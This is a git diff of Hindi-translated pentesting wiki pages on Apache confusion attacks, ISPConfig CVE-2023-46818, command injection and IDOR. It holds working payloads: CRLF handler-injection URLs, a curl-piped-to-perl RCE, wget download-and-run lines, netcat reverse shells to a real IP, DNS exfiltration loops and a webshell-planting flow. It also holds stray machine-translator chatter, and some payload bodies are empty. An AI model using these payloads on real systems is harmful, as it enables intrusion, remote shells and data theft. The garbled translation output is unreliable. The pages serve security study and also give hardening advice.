अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता हो। ### DocumentRoot भ्रम ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. +Apache के बारे में एक मज़ेदार तथ्य यह है कि पिछले rewrite दोनों documentRoot और root से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, `https://server/abouth.html` के लिए एक अनुरोध फ़ाइल सिस्टम में `/var/www/html/about.html` और `/about.html` दोनों स्थानों पर फ़ाइल की जांच करेगा। जो मूलतः फ़ाइल सिस्टम में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है। -#### **सर्वर-साइड स्रोत कोड का खुलासा** +#### **सर्वर-साइड स्रोत कोड प्रकटीकरण** - **CGI स्रोत कोड का खुलासा** -केवल अंत में %3F जोड़ना एक cgi मॉड्यूल का स्रोत कोड leak करने के लिए पर्याप्त है: +अंत में केवल %3F जोड़ना ही किसी cgi module का स्रोत कोड लीक करने के लिए काफी है: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Disclose PHP Source Code** +- **PHP स्रोत कोड का खुलासा** -यदि किसी सर्वर के पास विभिन्न डोमेन हों और उनमें से एक static domain हो, तो इसका दुरुपयोग फ़ाइल सिस्टम को traverse करने और php code को leak करने के लिए किया जा सकता है: +यदि किसी सर्वर के पास अलग-अलग डोमेन्स हैं और उनमें से एक स्टैटिक डोमेन है, तो इसका दुरुपयोग कर फ़ाइल सिस्टम को ट्रैवर्स करके php कोड leak किया जा सकता है: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइलसिस्टम पर अधिकांश एक्सेस अस्वीकार कर दिए जाते हैं, जैसा कि Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से filesystem पर अधिकांश access को नकार दिया जाएगा, जैसा Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) में है: ```xml AllowOverride None @@ -147,38 +147,38 @@ AllowOverride None Require all granted ``` -Therefore, it would be possible to **इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग करना संभव होगा।** +इसलिए, यह संभव होगा कि इन वितरणों में **`/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग किया जाए।** **Local Gadget to Information Disclosure** - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, जो संवेदनशील environment variables को leak कर सकता है। -- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: +- Servers with **Nginx** or **Jetty** might expose संवेदनशील web application जानकारी (e.g., **web.xml**) through their default web roots placed under **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Local Gadget to XSS** -- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. +- On Ubuntu Desktop with **LibreOffice installed**, help files की language switch सुविधा का exploit करने पर **Cross-Site Scripting (XSS)** हो सकता है। **/usr/share/libreoffice/help/help.html** पर URL को manipulate करके malicious पेजों या पुराने संस्करणों पर redirect किया जा सकता है, जो **unsafe RewriteRule** के कारण संभव है। **Local Gadget to LFI** -- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: +- यदि PHP या कुछ front-end packages जैसे **JpGraph** या **jQuery-jFeed** installed हैं, तो उनकी फाइलों का उपयोग करके **/etc/passwd** जैसी संवेदनशील फाइलें पढ़ी जा सकती हैं: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. +- **MagpieRSS's magpie_debug.php** को **/usr/share/php/magpierss/scripts/magpie_debug.php** पर उपयोग करने से आसानी से SSRF vulnerability बनाई जा सकती है, जो आगे के exploits के लिए gateway प्रदान करती है। **Local Gadget to RCE** -- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. +- **Remote Code Execution (RCE)** के अवसर व्यापक हैं, जैसे पुराने या vulnerable इंस्टॉलेशंस जैसे outdated **PHPUnit** या **phpLiteAdmin**. इनका exploit करके arbitrary code execute किया जा सकता है, जो local gadgets के manipulation की व्यापक क्षमता को दर्शाता है। #### **Jailbreak from Local Gadgets** -It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: +इन फ़ोल्डरों में इंस्टॉल किए गए सॉफ़्टवेयर द्वारा बनाए गए symlinks को follow करके भी allowed फ़ोल्डरों से jailbreak करना संभव है, जैसे: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,7 +186,7 @@ It's also possible to jailbreak from the allowed folders by following symlinks g - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** +इसके अलावा, symlinks का दुरुपयोग करके **Redmine** में **RCE** प्राप्त करना संभव था। ### Handler Confusion @@ -196,12 +196,12 @@ Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is #### **Overwrite Handler to Disclose PHP Source Code** -In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ -Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), एक vulnerability प्रस्तुत की गई थी जहाँ क्लाइंट द्वारा भेजा गया गलत `Content-Length` Apache को गलती से **PHP source code लौटाने** के लिए प्रेरित कर सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ error handling issue के कारण था, जहाँ एक double response `r->content_type` को `text/html` में overwrite कर देता है।\ +क्योंकि ModSecurity return values को ठीक से handle नहीं करता, यह PHP code को return कर देता है और उसे interpret नहीं करेगा। #### **Overwrite Handler to XXXX** -TODO: Orange hasn't disclose this vulnerability yet +TODO: Orange ने अभी तक इस vulnerability का disclosure नहीं किया है ### **Invoke Arbitrary Handlers** @@ -225,7 +225,7 @@ SetHandler server-status Require local ``` -इसे एक्सेस किया जा सकता है अगर `Content-Type` को `server-status` पर सेट किया जाए और Location header `/` से शुरू हो। +इसे एक्सेस करना संभव है यदि `Content-Type` को `server-status` सेट किया जाए और Location हेडर `/` से शुरू हो। ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a @@ -234,7 +234,7 @@ Content-Type:server-status %0d%0a ``` #### **Arbitrary Handler से Full SSRF** -किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए `mod_proxy` पर रीडायरेक्ट करना: +किसी भी URL पर किसी भी प्रोटोकॉल तक पहुंचने के लिए `mod_proxy` पर रीडायरेक्ट करना: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -हालाँकि, `X-Forwarded-For` header जोड़ा गया है जिससे cloud metadata endpoints तक पहुँच रोकी जा रही है। +हालाँकि, `X-Forwarded-For` हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुँच अवरुद्ध हो रही है। -#### **Arbitrary Handler to Access Local Unix Domain Socket** +#### **Local Unix Domain Socket तक पहुँचने के लिए Arbitrary Handler** -PHP-FPM के local Unix Domain Socket तक पहुँच कर `/tmp/` में स्थित PHP backdoor को execute करें: +PHP-FPM’s local Unix Domain Socket तक पहुँचकर `/tmp/` में स्थित PHP backdoor को execute करें: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक command-line PHP package management tool है, जिसे RCE प्राप्त करने के लिए दुरुपयोग किया जा सकता है: +आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक कमांड-लाइन PHP पैकेज मैनेजमेंट टूल है, और जिसका दुरुपयोग करके RCE प्राप्त किया जा सकता है: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,7 +265,7 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने लिखा है, देखें। +इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जो [Phith0n](https://x.com/phithon_xg) द्वारा लिखा गया है, देखें। ## संदर्भ diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 8fc3a2be3..133718ee9 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## अवलोकन -ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में एक language file editor फीचर था जो, जब super administrator के लिए सक्षम किया जाता था, malformed translation record के माध्यम से arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और यह निर्भर करता है कि PHP कैसे execute होता है, privilege escalation भी संभव है। +ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में language file editor नाम का एक फीचर था जो, super administrator के लिए सक्षम होने पर, malformed translation record के जरिए arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और, इस बात पर निर्भर करते हुए कि PHP कैसे execute होता है, privilege escalation संभव है। Key default paths: -- Web root अक्सर `/var/www/ispconfig` पर होता है जब इसे `php -S` के साथ serve किया जाता है या Apache/nginx के माध्यम से। -- Admin UI HTTP(S) vhost पर पहुंच योग्य होता है (कभी-कभी केवल localhost से बाउंड; आवश्यकता होने पर SSH port-forward का उपयोग करें)। +- Web root अक्सर at `/var/www/ispconfig` होता है जब इसे `php -S` से या Apache/nginx के माध्यम से serve किया जाता है। +- Admin UI HTTP(S) vhost पर reachable होता है (कभी-कभी केवल localhost पर bound होता है; आवश्यक होने पर SSH port-forward का उपयोग करें)। -टिप: यदि पैनल लोकली बाउंड है (उदा. `127.0.0.1:8080`), तो इसे फ़ॉरवर्ड करें: +टिप: यदि पैनल लोकल पर बाइंड है (उदा. `127.0.0.1:8080`), तो इसे फॉरवर्ड करें: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Language editor PHP code injection (CVE-2023-46818) -- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) -- Preconditions: -- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) -- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context +- प्रभावित: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- पूर्वशर्तें: +- Built-in superadmin account `admin` के रूप में लॉगिन (वेंडर के अनुसार अन्य रोल प्रभावित नहीं हैं) +- Language editor सक्षम होना चाहिए: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- प्रभाव: प्रमाणीकृत admin arbitrary PHP inject कर सकता है जो एक language file में लिखा जाता है और application द्वारा execute होता है, जिससे web context में RCE प्राप्त होता है References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Manual exploitation flow -1) Open/create a language file to obtain CSRF tokens +1) CSRF tokens प्राप्त करने के लिए language file खोलें/बनाएँ -Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. +पहला POST भेजें ताकि फ़ॉर्म इनिशियलाइज़ हो और HTML response से CSRF फ़ील्ड्स (`csrf_id`, `csrf_key`) पार्स करें। उदाहरण request path: `/admin/language_edit.php`. -2) Inject PHP via records[] and save +2) records[] के माध्यम से PHP inject करें और save करें -Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes: +CSRF फ़ील्ड्स और एक malicious translation record शामिल करते हुए दूसरा POST भेजें। न्यूनतम command-execution प्रॉब्स: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,44 +42,44 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Out-of-band test (ICMP का निरीक्षण): +Out-of-band परीक्षण (ICMP का निरीक्षण): ```http records[]= ``` -3) फाइलें लिखें और एक webshell डालें +3) फाइलें लिखें और एक webshell गिराएँ -वेब-से पहुँचा जा सकने वाले पथ (उदा., `admin/`) के अंतर्गत फ़ाइल बनाने के लिए `file_put_contents` का उपयोग करें: +वेब-पहुंच योग्य पथ (जैसे `admin/`) के अंतर्गत एक फ़ाइल बनाने के लिए `file_put_contents` का उपयोग करें: ```http records[]= ``` -फिर POST बॉडी में खराब कैरक्टर्स से बचने के लिए base64 का उपयोग करते हुए एक सरल webshell लिखें: +फिर POST बॉडी में खराब वर्णों से बचने के लिए base64 का उपयोग करके एक सरल webshell लिखें: ```http records[]= ``` -कृपया उस फ़ाइल (src/network-services-pentesting/pentesting-web/ispconfig.md) की सामग्री यहाँ पेस्ट करें या अटैच करें ताकि मैं इसे दिए गए निर्देशों के अनुसार Markdown/HTML संरचना बनाए रखते हुए अंग्रेज़ी से हिन्दी में अनुवाद कर सकूँ। +कृपया ispconfig.md की सामग्री यहाँ पेस्ट करें — मैं दिए गए निर्देशों के अनुसार Markdown और HTML टैग, लिंक/पाथ तथा तकनीकी शब्द न बदलते हुए इसे हिन्दी में अनुवाद कर दूँगा। ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -यदि PHP को root के रूप में निष्पादित किया जाता है (उदा., `php -S 127.0.0.1:8080` जिसे root ने शुरू किया हो), तो यह तुरंत root RCE प्रदान करता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं। +यदि PHP को root के रूप में चलाया गया हो (उदा., root द्वारा शुरू किया गया `php -S 127.0.0.1:8080`), तो यह तुरंत root RCE देता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं। ### Python PoC -तैयार-से-इस्तेमाल exploit token handling और payload delivery को स्वचालित करता है: +एक तैयार-उपयोग exploit token handling और payload delivery को स्वचालित करता है: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) -उदाहरण चलाना: +उदाहरण रन: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### हार्डनिंग +### Hardening -- 3.2.11p1 या बाद के संस्करण पर अपग्रेड करें -- भाषा संपादक को तब तक अक्षम रखें जब तक कि यह सख्ती से आवश्यक न हो: +- 3.2.11p1 या उसके बाद के संस्करण पर अपग्रेड करें +- भाषा संपादक को तब तक अक्षम रखें जब तक यह सख्ती से आवश्यक न हो: ``` admin_allow_langedit=no ``` -- Panel को root के रूप में चलाने से बचें; PHP-FPM या वेब सर्वर को कम अधिकारों पर चलाने के लिए कॉन्फ़िगर करें। -- बिल्ट-इन `admin` खाते के लिए मजबूत प्रमाणीकरण लागू करें। +- पैनल को root के रूप में चलाने से बचें; PHP-FPM या web server को इस तरह कॉन्फ़िगर करें कि वे privileges छोड़ दें +- built-in `admin` account के लिए मजबूत authentication लागू करें ## संदर्भ diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index dae29bdd2..3b14828dd 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## command Injection क्या है? -एक **command injection** हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन की मेज़बानी कर रहा होता है। नतीजतन, एप्लिकेशन और उसके सभी डेटा को पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण प्राप्त हो जाता है। +एक **command injection** हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन की होस्टिंग कर रहा होता है। नतीजतन, एप्लिकेशन और उसका सारा डेटा पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के environment और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण मिल जाता है। ### संदर्भ -यह निर्भर करता है कि **आपका इनपुट कहाँ इंजेक्ट किया जा रहा है** — ऐसा होने पर आपको कमांड्स से पहले **उद्धरणित संदर्भ को समाप्त करना** आवश्यक हो सकता है ( `"` या `'` का उपयोग करके)। +निर्भर करता है कि **आपका इनपुट कहाँ इंजेक्ट किया जा रहा है**, आपको कमांड्स से पहले **quoted context को समाप्त** (using `"` or `'`) करने की आवश्यकता हो सकती है। ## Command Injection/Execution ```bash @@ -32,8 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limition** Bypasses -यदि आप **arbitrary commands inside a linux machine** निष्पादित करने की कोशिश कर रहे हैं, तो आप इस **Bypasses:** के बारे में पढ़ने में रुचि रखेंगे: - +यदि आप किसी **linux मशीन के अंदर arbitrary commands** को चलाने की कोशिश कर रहे हैं, तो आप इस **Bypasses:** को पढ़ने में रुचि रखेंगे। {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -45,9 +44,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### पैरामीटर +### पैरामीटर्स -यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए कमजोर हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +यहाँ शीर्ष 25 पैरामीटर्स दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए संवेदनशील हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +76,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -डेटा निकालना: char by char +डेटा निकालना: अक्षर-दर-अक्षर ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +90,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -यह tool `https://github.com/HoLyVieR/dnsbin` पर उपलब्ध है और dnsbin.zhack.ca पर भी होस्ट किया गया है +यह `https://github.com/HoLyVieR/dnsbin` के टूल पर आधारित है, जो dnsbin.zhack.ca पर भी होस्ट है ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +100,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS based data exfiltration की जाँच करने के लिए ऑनलाइन टूल: +DNS based data exfiltration की जाँच करने के लिए ऑनलाइन टूल्स: - dnsbin.zhack.ca - pingb.in @@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -जब आप JavaScript/TypeScript बैक-एंड का ऑडिट करते हैं, तो अक्सर आपको Node.js `child_process` API मिलेगी। +JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API का सामना करेंगे। ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` एक **shell** (`/bin/sh -c`) शुरू करता है, इसलिए shell के लिए विशेष अर्थ रखने वाला कोई भी कैरेक्टर (back-ticks, `;`, `&&`, `|`, `$()`, …) जब स्ट्रिंग में user input के साथ जोड़ा जाता है तो **command injection** हो सकता है। +`exec()` एक **shell** (`/bin/sh -c`) को spawn करता है, इसलिए shell को विशेष अर्थ रखने वाले कोई भी प्रतीक (back-ticks, `;`, `&&`, `|`, `$()`, …) तब **command injection** का कारण बनेंगे जब user input स्ट्रिंग में जोड़ दिया जाए। -**निवारण:** use `execFile()` (or `spawn()` without the `shell` option) और **प्रत्येक argument को अलग array element के रूप में प्रदान करें** ताकि कोई shell शामिल न हो: +**Mitigation:** use `execFile()` (or `spawn()` without the `shell` option) and provide **प्रत्येक argument को एक अलग array element के रूप में** ताकि कोई shell शामिल न हो: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,7 +139,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -वास्तविक मामला: *Synology Photos* ≤ 1.7.0-0794 एक अप्रमाणित WebSocket event के माध्यम से शोषण योग्य था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जो बाद में `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024). +वास्तविक मामला: *Synology Photos* ≤ 1.7.0-0794 एक अप्रमाणित WebSocket इवेंट के माध्यम से शोषण योग्य था, जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा था, जो बाद में `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024). ## Brute-Force डिटेक्शन सूची diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 57ab0403c..f791350ff 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier का खुलासा करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए **सीधे** उपयोग किया जाता है **बिना यह सत्यापित किए कि caller उस object को access/modify करने के लिए authorized है**। -Successful exploitation आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है, जैसे अन्य users के data को पढ़ना या modify करना, और worst case में full account takeover या mass-data exfiltration तक हो सकता है। +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier को प्रकट करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए **सीधे** उपयोग किया जाता है बिना यह सत्यापित किए कि caller उस object को एक्सेस/संशोधित करने के लिए **अधिकार प्राप्त** है। +सफल एक्सप्लॉइटेशन आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है — जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना — और सबसे खराब स्थिति में पूरा account takeover या mass-data exfiltration हो सकता है। --- ## 1. संभावित IDORs की पहचान -1. ऐसे **parameters** खोजें जो किसी object का संदर्भ देते हों: +1. उन **parameters की तलाश करें जो किसी object का संदर्भ देते हैं**: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` -2. उन endpoints को प्राथमिकता दें जो data को **read या update** करते हैं (`GET`, `PUT`, `PATCH`, `DELETE`)। -3. ध्यान दें जब identifiers **sequential या predictable** हों – यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद होगा। -4. hidden या alternate flows (उदा. login pages में *"Paradox team members"* link) की खोज करें जो extra APIs को उजागर कर सकते हैं। -5. एक **authenticated low-privilege session** का उपयोग करें और केवल ID बदलें **same token/cookie रखते हुए**। Authorization error का अभाव आमतौर पर IDOR का संकेत होता है। +2. उन endpoints को प्राथमिकता दें जो डेटा को **read या update** करते हैं (`GET`, `PUT`, `PATCH`, `DELETE`)। +3. ध्यान दें जब identifiers **क्रमिक या अनुमानित** हों – अगर आपका ID `64185742` है, तो `64185741` संभवतः मौजूद होगा। +4. hidden या वैकल्पिक flows (उदा. *"Paradox team members"* लिंक लॉगिन पेजों में) एक्सपोज़ किए गए अतिरिक्त APIs प्रकट कर सकते हैं। +5. एक **authenticated low-privilege session** का उपयोग करें और केवल ID बदलें **उसी token/cookie को रखते हुए**। authorization error की अनुपस्थिति आमतौर पर IDOR का संकेत होती है। -### त्वरित मैन्युअल छेड़छाड़ (Burp Repeater) +### Quick manual tampering (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -38,33 +38,33 @@ done ``` --- -### user/file enumeration के लिए Error-response oracle +### Error-response oracle for user/file enumeration -जब कोई download endpoint दोनों username और filename स्वीकार करता है (उदा. `/view.php?username=&file=`), error messages में सूक्ष्म अंतर अक्सर एक oracle बनाते हैं: +जब कोई download endpoint एक साथ username और filename दोनों स्वीकार करता है (उदा. `/view.php?username=&file=`), तो error messages में सूक्ष्म अंतर अक्सर एक oracle बना देते हैं: -- Non-existent username → "User not found" -- Bad filename but valid extension → "File does not exist" (कभी-कभी उपलब्ध files को भी सूचीबद्ध करता है) -- Bad extension → validation error +- मौजूद नहीं username → "User not found" +- गलत filename लेकिन valid extension → "File does not exist" (कभी-कभी उपलब्ध files भी सूचीबद्ध होती हैं) +- गलत extension → validation error -किसी भी authenticated session के साथ, आप benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" string पर filter करके मान्य users का पता लगा सकते हैं: +किसी भी authenticated session में, आप एक benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" स्ट्रिंग पर filter करके वैध users खोज सकते हैं: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -एक बार वैध उपयोगकर्ता नाम पहचान लिए जाने पर, सीधे विशिष्ट फाइलों का अनुरोध करें (e.g., `/view.php?username=amanda&file=privacy.odt`). यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों के अनधिकृत प्रकटीकरण और credential leakage का कारण बनता है। +एक बार वैध usernames की पहचान हो जाने पर, सीधे विशिष्ट फ़ाइलें अनुरोध करें (उदा., `/view.php?username=amanda&file=privacy.odt`)। यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों और credential leakage के अनधिकृत खुलासे का कारण बनता है। --- -## 2. वास्तविक दुनिया का केस स्टडी – McHire Chatbot Platform (2025) +## 2. Real-World Case Study – McHire Chatbot Platform (2025) -Paradox.ai-powered **McHire** भर्ती पोर्टल के आकलन के दौरान निम्नलिखित IDOR पाया गया: +Paradox.ai-powered **McHire** recruitment portal के आकलन के दौरान निम्नलिखित IDOR पाया गया: * Endpoint: `PUT /api/lead/cem-xhr` * Authorization: user session cookie for **any** restaurant test account * Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier -`lead_id` घटाकर, टेस्टर ने मनमाने आवेदकों की **full PII** (नाम, ई‑मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) और एक consumer **JWT** प्राप्त किया जिसे उपयोग करके session hijacking संभव हुआ। रेंज `1 – 64,185,742` 